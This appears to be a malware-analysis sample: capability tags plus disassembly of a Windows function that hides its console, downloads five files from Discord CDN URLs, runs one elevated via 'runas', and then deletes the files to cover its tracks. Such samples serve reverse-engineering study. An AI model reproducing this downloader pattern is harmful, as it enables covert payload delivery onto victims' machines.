Function at 0x140001000
Capabilities:
Create process on windows
Delete file
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x37], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, str.https:__cdn.discordapp.com_attachments_1079774343690731661_1167523938197323877_libcrypto_3_x64.dll_ex654e7066is653bfb66hm7a9e3c2d6d1a44994119cb36875c7b342f5663eeeca8ece04c4670b7f0333674
xor ebx, ebx
mov qword [rbp - 0x61], rax
lea r15, str.main_application.exe
lea rax, str.https:__cdn.discordapp.com_attachments_1079774343690731661_1167523945835147354_libcurl.dll_ex654e7068is653bfb68hm1b1136e3ca17561d5af706a0736aee3df2e61932b629a54565c8c705f78c3a4f
mov qword [rbp - 0x69], r15
mov qword [rbp - 0x59], rax
mov edi, ebx
lea rax, str.https:__cdn.discordapp.com_attachments_1079774343690731661_1167523955922448484_zlib1.dll_ex654e706ais653bfb6ahm1b156dfea2dd6975c3c4fbbb6d328bc11a4bb65d98f9b24007faf375da4516f6
mov qword [rbp - 0x51], rax
lea r14d, [rbx + 5]
lea rax, str.https:__cdn.discordapp.com_attachments_1163251286158880848_1163595826220765194_strings2.exe_ex6540260fis652db10fhm63608c43e471ecbafd72bea78bc293dc2cb4ea4d88378ccb57c194af4ad97696
mov qword [rbp - 0x49], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1167527843148873808_1167527962237735022_main_application.exe_ex654e7425is653bff25hm6497bbb64ba0444301afa90d2b3ab848646e7701a6ef1455a4af90b01fd77e0a
mov qword [rbp - 0x41], rax
lea rax, str.libcrypto_3_x64.dll
mov qword [rsp + 0x30], rax
lea rax, str.libcurl.dll
mov qword [rsp + 0x38], rax
lea rax, str.zlib1.dll
mov qword [rbp - 0x79], rax
lea rax, str.strings2.exe
mov qword [rbp - 0x71], rax
nop word [rax + rax]
mov rsi, qword [rsp + rdi + 0x30]
xor r9d, r9d
mov rdx, qword [rbp + rdi - 0x61]
mov r8, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x140001108
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Downloaded
call fcn.140001220
mov rcx, rax
mov rdx, rsi
call fcn.140001220
lea rdx, str._successfully.
jmp 0x14000112d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_download
call fcn.140001220
mov rcx, rax
mov rdx, rsi
call fcn.140001220
lea rdx, [0x140003b68]
mov rcx, rax
call fcn.140001220
lea rdx, [0x140001400]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
add rdi, 8
sub r14, 1
jne 0x1400010c0
xorps xmm0, xmm0
mov dword [rbp - 0x39], 0x70
xor eax, eax
lea rcx, [rbp - 0x39]
movups xmmword [rbp - 0x35], xmm0
mov qword [rbp + 0x2b], rax
movups xmmword [rbp - 0x25], xmm0
mov dword [rbp + 0x33], eax
lea rax, str.runas
movups xmmword [rbp - 0x15], xmm0
mov qword [rbp - 0x29], rax
movups xmmword [rbp - 5], xmm0
mov qword [rbp - 0x21], r15
movups xmmword [rbp + 0xb], xmm0
mov dword [rbp - 9], 5
movups xmmword [rbp + 0x1b], xmm0
mov dword [rbp - 0x35], 0x40
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1400011c2
mov rcx, qword [rbp + 0x2f]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
inc rbx
cmp rbx, 5
jl 0x1400011c2
lea rcx, str.process_string.txt
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.process_strings.txt
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400014c0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret